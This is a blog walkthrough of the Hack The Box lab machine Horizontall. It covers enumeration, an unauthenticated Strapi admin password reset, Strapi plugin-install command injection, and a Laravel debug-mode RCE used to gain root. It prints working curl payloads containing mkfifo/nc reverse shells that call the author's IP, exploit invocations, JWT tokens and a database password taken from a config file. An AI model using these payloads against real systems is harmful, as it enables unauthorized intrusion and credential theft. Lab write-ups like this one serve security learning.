Link: https://app.hackthebox.eu/machines/Horizontall

Enumeration

Port Scan

nmap scan with version detection

The nmap port scan reveals two open services, OpenSSH 7.6p1 on port 22 and nginx 1.14.0 on port 80. nmap also believes the OS to be Linux, which seems to be confirmed by the SSH open port and version. Searching for CVEs for both of these versions reveals no known vulnerabilities at this time.

Web Server

When we first try to connect to the IP in the browser, it redirects to http://horizontall.htb which fails. A modification to our /etc/hosts file corrects this issue and grants us access.

the initial view

It appears to just be a single page template. Nothing that I can find seems to actually work. The contact form also does not make any POST requests or send data.

An initial gobuster scan reveals just three directories: /css, /img, /js. All three directories have directory indexing off, so attempting to access any of them returns a 403 Forbidden error. I also performed an additional scan for file extensions of .conf, .ini, .txt or .html but also received no results.

A nikto scan reveals a few missing headers, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options and nothing else.

Further inspecting the source code, we can find a chunk-vendors.xxx.js file. Opening this file in debugger shows it is a Vue.js application and we have several version numbers we can check. We also have webpack that shows more versions:

  • Vue.js v2.6.12 (No Vulnerabilities)
  • portal-vue v2.1.7 (No Vulnerabilities)
  • BootstrapVue Icons v1.2.2 (No Vulnerabilities)
  • vue-router v3.5.1 (No Vulnerabilities)
  • Popper.js v1.16.1 (No Vulnerabilities)
  • BootstrapVue 2.21.2 (No Vulnerabilities)

Our enumeration of this particular website seems to be complete and is not much help. Because we are running nginx, there is the possibility that we have other virtual hosts on the same server. We can test this theory using gobuster vhost mode and supply a wordlist. SecLists has a good subdomains list under /Discovery/DNS.

vhost enumeration

We did get a hit on api-prod, I added this to the hosts file and navigating to it in the web browser just displays a Welcome. message. Inspecting the headers shows an X-Powered-By: Strapi <strapi.io> header. I looked up documentation for Strapi and we can find an admin panel at /admin. However we do not have credentials to get in.

Another gobuster dir scan on this subdomain shows two additional endpoints, /reviews and /users. We are unable to access /users.

api endpoint scan

I am unsure of the current version of strapi that we are working with, however we do have several vulnerabilities for Strapi. One of which is still not patched for Improper Authentication. Another is a Critical for Improper Access Control.

CVE-2019-18818 – Strapi Critical

Searching from these CVEs, I found a blog post for CVE-2019-18818, the critical vulnerability. It gives us an endpoint to query the strapi version which we now know to be 3.00-beta.17.4. All we need is the user account name and then we can use the provided python script to reset the password without needing to know the actual password.

We can navigate to the forgot-password page and try a few emails. If the email does not exist, it will inform us.

forgot password email does not exist

Entering [email protected] does not give us an error, the page just sits here. We can try this one first.

Now using the python script:

$ python3 horizontall.py [email protected] http://api-prod.horizontall.htb admin                                    
[*] Detected version(GET /admin/strapiVersion): 3.0.0-beta.17.4
[*] Sending password reset request...
[*] Setting new password...
[*] Response:
b'{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ2OTg1LCJleHAiOjE2MzI4Mzg5ODV9.f28vIR0x5_LW0ju55PSxiyy-GOoeo3j2h0MgcsD1LBg","user":{"id":3,"username":"admin","email":"[email protected]","blocked":null}}'

Back on the admin login page, we can login with [email protected] and admin as password!

CVE-2019-19609

Our version of Strapi is also vulnerable to Remote Code Execution. I found another blog post that outlines an exploit with installing a plugin to get a shell.

I modified the PoC on the blog post to this:

curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ2OTk2LCJleHAiOjE2MzI4Mzg5OTZ9.C8SR8aPkf7XZGWoJgAwliYYFstlxg_1VlRkNpDAmUkk' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 130' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xxx 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
  • Modified the host from localhost to the url
  • Grabbed the jwt token from the Developer Console > Network > Session Storage
  • Modified Content-Length to support the new IP from localhost
  • Replaced the localhost IP in the nc listener to my IP

When I went to execute it, it hung for a few seconds and I never got a response. So instead, I copied this into Postman and executed and we get a hit on our listener!

This is the cURL code that postman gave me:

curl --location --request POST 'http://api-prod.horizontall.htb/admin/plugins/install' \
 --header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjQ2OTk2LCJleHAiOjE2MzI4Mzg5OTZ9.C8SR8aPkf7XZGWoJgAwliYYFstlxg_1VlRkNpDAmUkk' \
 --header 'Content-Type: application/json' \
 --data-raw '{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xxx 4444 >/tmp/f)","port":"1337"}'

Machine Access

We have a reverse shell with the account strapi, our current directory is /opt/strapi/myapi.

Navigating to /home we have a user account of developer. Inside of this is the user.txt flag and we have the ability to read this flag as strapi.

The developer account has a .ssh folder, but we do not have read access to it. The user also has a /myproject folder in their home directory that we cannot read.

Looking at the /etc/passwd file, there is also a mysql user. Our strapi API must be connecting to it, if we can find the credentials back in our starting directory maybe they were reused elsewhere and we can use those.

According to the strapi documentation, the database credentials are found in ./config/database.js. However in our case we can find them in /opt/strapi/myapi/config/environments/development/database.json

{
   "defaultConnection": "default",
   "connections": {
     "default": {
       "connector": "strapi-hook-bookshelf",
       "settings": {
         "client": "mysql",
         "database": "strapi",
         "host": "127.0.0.1",
         "port": 3306,
         "username": "developer",
         "password": "#J!:F9Zt2u"
       },
       "options": {}
     }
   }
 }

I tested this credentials for SSH and they do not work, so let’s continue enumerating the database.

$ mysql --user=developer -p strapi
Enter password: #J!:F9Zt2u

show tables;
Tables_in_strapi
core_store
reviews
strapi_administrator
upload_file
upload_file_morph
users-permissions_permission
users-permissions_role
users-permissions_user

Because we already changed the password for the admin account, there is not much of use in here.

I ran netstat -tunlp to get TCP, UDP listening ports.

listening ports
  • 3306 was the local mysql connection
  • 80 is the web server we connected to
  • 22 is SSH
  • 1337 is Strapi
  • 8000 ???

Our netstat command reveals there is something else running on this box. I checked /etc/nginx to see if there was any sort of other directive pertaining to this port but there are no other configuration files. Trying to enumerate running services on this port also seems to return nothing.

If we run curl 127.0.0.1:8000 from our shell, we get an HTML response and the very bottom returns Laravel v8 (PHP v7.4.18).

I ran a find . -name "*.php" from / and found a composer-setup.php in /home/developer. The myproject that we discovered before must be the laravel instance.

CVE-2021-3129 – Laravel 8.4.2 RCE

I searched for Laravel 8 vulnerabilities into DuckDuckGo and many of the first results were for this CVE. I am not sure if our version is under 8.4.2, but we do know it is 8.x.x. The writeup for this exploit can be found here.

I attempted to make the curl request to /hello/test to see if we get a debug mode response but we do not, so we will be testing this in the blind. At the bottom of this writeup is a GitHub link with the exploit in Python. However we are missing the dataclasses module and there is no pip module to help us install it.

I found another script that will test a variety of payloads using default python libraries, so let’s test this one. Executing it returns no results.

I will try another I found that let’s you pass a command as well. I copied it to my box, then wget it to /tmp

When we try to execute this it fails because it needs another Git repo. I cloned this to my attacking box then ran

wget --recursive --noparent http://10.10.xx.xxx:8000/phpggc
mv 10.10.xx.xxx:8000/phpggc /tmp/phpggc

Now we can run the script again and:

root!

Running whoami shows we have root!

We can use this to spawn another reverse shell as root. I started up another nc listener on 4443 and then ran the following command:

python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xxx 4443 >/tmp/f"

I didn’t have long before it timed out but I was able to get in and grab the flag real quick. In a real situation, trying to maintain persistence here would be crucial.

Conclusion

This box was actually a bit tricky. At first glance the website seemed almost like a honeypot. I was stumped a bit and had to do more research before I discovered the gobuster vhost command. I had yet to use this functionality of gobuster.

Next, I have used strapi a little bit but had to search around a lot to get the exact version which luckily a script was already made to exploit our way into the admin panel, and run yet another CVE to get us a reverse shell.

The pathway to root was also unconventional. There was no gaining access of the developer account and trying to PrivEsc. Finding the actual Laravel application was tricky, I noticed the open port on 8000, and tried a number of other commands before resorting to curl from the shell. Another tool to add to my enumeration tasks.

I also tried two other scripts for this CVE and was about to give up. I was fortunate the last script I was able to sideload the library it required using wget.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.